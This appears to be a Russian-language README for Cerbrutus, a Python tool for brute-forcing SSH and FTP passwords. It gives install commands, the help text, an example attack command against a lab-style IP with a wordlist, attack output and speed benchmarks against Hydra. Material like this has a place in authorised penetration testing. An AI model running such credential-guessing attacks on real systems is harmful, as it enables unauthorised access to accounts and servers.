
Сетевой инструмент для брутфорса, написанный на Python. Быстрее других существующих решений (включая главного лидера на рынке сетевого брутфорса).
Модульный инструмент для брутфорса, написанный на Python, предназначенный для очень быстрого перебора паролей к SSH и FTP, а в ближайшем будущем и к другим сетевым сервисам.
СКОРО: SMB, HTTP(s) POST, HTTP(s) GET, HTTP BASIC AUTH Спасибо @0dayctf, Rondons, Enigma и 001 за тестирование и вклад
cd /opt
git clone https://github.com/Cerbrutus-BruteForcer/cerbrutus
python3 /opt/cerbrutus/cerbrutus.py --help
usage: cerbrutus.py [-h] -U USERS -P PASSWORDS [-p PORT] [-t THREADS] [-q [QUIET [QUIET ...]]] Host Service
Python based network brute forcing tool!
positional arguments:
Host Хост для подключения — в виде IP или VHOST/доменного имени
Service Сервис для брутфорса (в настоящее время реализован 'SSH')
optional arguments:
-h, --help показать это сообщение и выйти
-U USERS, --users USERS
Один пользователь или путь к файлу с пользователями
-P PASSWORDS, --passwords PASSWORDS
Один пароль или путь к файлу с паролями
-p PORT, --port PORT Целевой порт (требуется только если используется нестандартный порт)
-t THREADS, --threads THREADS
Количество потоков
-q [QUIET [QUIET ...]], --quiet [QUIET [QUIET ...]]
Не выводить баннер
/opt/cerbrutus/cerbrutus.py 10.10.10.10 SSH -U "username" -P /opt/wordlists/fasttrack.txt -t 10
================================================================
__ ___ ____ ____ ____ __ __ ______ __ __ _____
/ ] / _]| \ | \ | \| | || || | |/ ___/
/ / / [_ | D )| o )| D ) | || || | ( \_
/ / | _]| / | || /| | ||_| |_|| | |\__ |
/ \_ | [_ | \ | O || \| : | | | | : |/ \ |
\ || || . \| || . \ | | | | |\ |
\____||_____||__|\_||_____||__|\_|\__,_| |__| \__,_| \___|
Network Brute Force Tool
https://github.com/Cerbrutus-BruteForcer/cerbrutus
================================================================
[*] - Initialising password list...
Read in 224 words from /opt/wordlists/fasttrack.txt
[+] - Running with 10 threads...
[*] - Starting attack against [email protected]
[*] - Trying: 65/224
# The password is in line number 12600 in rockyou
64 threads -> 1400 seconds ~ 7 minutes (hydra took 30 minutes)
1000 threads -> 464 seconds -> 27 requests per second
100 threads took 1000 seconds -> 12 requests per second
# the password is in line 460
100 threads took 32 seconds -> 14 requests per second
1000 threads took 16 seconds -> 28 requests per second
64 threads took 51 seconds -> 9 requests per second (hydra took the same time)
# word number 20k in rockyou
1100 threads took 637 seconds which means 31 rps
110 threads took 1457 seconds so that's 13.7 rps
Использует кастомную реализацию paramiko для решения нескольких мелких проблем при реализации брутфорса SSH. - https://github.com/paramiko/paramiko/